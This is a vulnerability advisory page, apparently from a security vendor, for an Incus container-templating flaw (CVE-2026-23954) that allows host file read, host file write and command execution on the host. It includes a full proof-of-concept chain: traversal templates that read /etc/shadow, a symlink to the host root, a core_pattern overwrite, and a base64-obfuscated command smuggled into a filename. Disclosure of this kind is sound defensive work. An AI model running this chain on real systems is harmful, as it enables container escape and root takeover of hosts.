Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹 Go

GHSA-7f67-crqm-jgh7

HIGH

Incus container image templating arbitrary host file read and write

Also known asCVE-2026-23954GO-2026-4357
Published
Jan 22, 2026
Updated
Mar 27, 2026
Affected
1 pkg
Patched
None yet
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.7%probability of exploitation in next 30 days
Lower Risk50th percentile+0.67%
0.00%0.41%0.82%1.23%0.1%0.7%Feb 26May 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐹github.com/lxc/incus/v6/cmd/incusd

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A user with the ability to launch a container with a custom image (e.g a member of the ‘incus’ group) can use directory traversal or symbolic links in the templating functionality to achieve host arbitrary file read, and host arbitrary file write, ultimately resulting in arbitrary command execution on the host. This can also be exploited in IncusOS.

Details

When using an image with a metadata.yaml containing templates, both the source and target paths are not checked for symbolic links or directory traversal. [1] [2] For example, the following metadata.yaml snippet can read an arbitrary file from the host root filesystem as root, and place it inside the container:

templates:
  /shadow:
    when:
      - start
    template: ../../../../../../../../etc/shadow

Additionally, the path of the target of the template is not checked or opened safely, and can therefore contain symbolic links pointing outside the container root filesystem. For example:

templates:
 /realroot/proc/sys/kernel/core_pattern:
    when:
      - start
    template: core_pattern.tpl

Where the container root filesystem contains a symbolic link named /realroot pointing to /. This will cause the contents of the template (from the normal "templates" directory in this case) to be written to the host root filesystem as root.

This can be exploited to achieve arbitrary command execution on the host by overwriting key files. In the provided proof of concept, I am overwriting /proc/sys/kernel/core_pattern, followed by causing a crash inside the container once launched to execute arbitrary commands on the host. Many other methods are possible depending on the host operating system and configuration.

This vulnerability can be exploited by any user who can launch a new container with a custom image.

Exploiting this vulnerability on IncusOS requires a slight modification of stage2 to change to a different writable directory for the validation step (e.g /tmp). This can be confirmed with a second container with /tmp mounted from the host (A privileged action for validation only).

[1] https://github.com/lxc/incus/blob/HEAD/internal/server/instance/drivers/driver_lxc.go#L7215 [2] https://github.com/lxc/incus/blob/HEAD/internal/server/instance/drivers/driver_lxc.go#L7294

PoC

A proof of concept script for the following can be found attached, named template_arbitrary_write.sh, which will show reading of a file from the host filesystem (/etc/shadow), as well as a method for escaping from the container to achieve arbitrary command execution, which will write a file to the root filesystem (/template_arbitrary_write_cmd_exec_poc).

Manual Reproduction steps:

  1. Obtain and unpack a legitimate root filesystem (e.g alpine/edge) into a directory named rootfs
  2. Inside the unpacked root filesystem, create a symbolic link named ‘realroot’ (i.e ln -s / rootfs/realroot)
  3. Create a directory named “templates” alongside the rootfs directory. Include a file core_pattern.tpl containing |/bin/sh -c "%E"
  4. Additionally, add files segfault.c and stage2 to the root filesystem (listed below), setting stage2 executable (chmod +x rootfs/stage2
  5. Create a metadata.yaml for this image. Sample listed below
  6. Create the image archive (tar cf poc.tar *) and import into incus (incus image import poc.tar --alias poc)
  7. Launch the newly imported image and obtain a shell (incus launch poc poc --ephemeral; incus shell poc)
  8. Observe that the file /shadow inside the container contains the contents of the /etc/shadow file from the host (host file read vulnerability)
  9. Compile segfault.c into a file named x$(echo L3Zhci9saWIvaW5jdXMvY29udGFpbmVycy8qL3Jvb3Rmcy9zdGFnZTIK|base64 -d|sh). This filename will be interpolated into the %E value set in the core_pattern by the host file write vulnerability, and will find and execute the stage2 binary inside the container rootfs.
  10. Execute the compiled binary (e.g /x*). Observe the creation of the file /template_arbitrary_write_cmd_exec_poc on the host, containing the output of 'id' showing command execution by the host root user.

segfault.c:

int main() {
    int *p = 0;
    *p = 42;
    return 0;
}

stage2:

#!/bin/sh
id > /template_arbitrary_write_cmd_exec_poc

metadata.yaml:

architecture: x86_64
creation_date: 1
properties:
  architecture: amd64
  description: Exploit
  os: Exploit
  release: Exploit 1.0
templates:
  /shadow:
    when:
      - start
    template: ../../../../../../../../etc/shadow

  /realroot/proc/sys/kernel/core_pattern:
    when:
      - start
    template: core_pattern.tpl

Impact

A user with the ability to launch a container with a custom image can achieve arbitrary command execution on the host.

Attachments

template_arbitrary_write.sh templates_arbitrary_write.patch

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/lxc/incus/v6/cmd/incusdall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/lxc/incus/v6/cmd/incusd. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Remediation status

    No patched version of github.com/lxc/incus/v6/cmd/incusd has shipped for GHSA-7f67-crqm-jgh7 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-7f67-crqm-jgh7 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-7f67-crqm-jgh7. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary A user with the ability to launch a container with a custom image (e.g a member of the ‘incus’ group) can use directory traversal or symbolic links in the templating functionality to achieve host arbitrary file read, and host arbitrary file write, ultimately resulting in arbitrary command execution on the host. This can also be exploited in IncusOS. ### Details When using an image with a `metadata.yaml` containing templates, both the source and target paths are not checked for symbolic links or directory traversal. [1] [2] For example, the following `metadata.yaml` snippet can rea
O3 Security · Impact-Aware SCA

Is GHSA-7f67-crqm-jgh7 in your dependencies?

O3 detects GHSA-7f67-crqm-jgh7 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.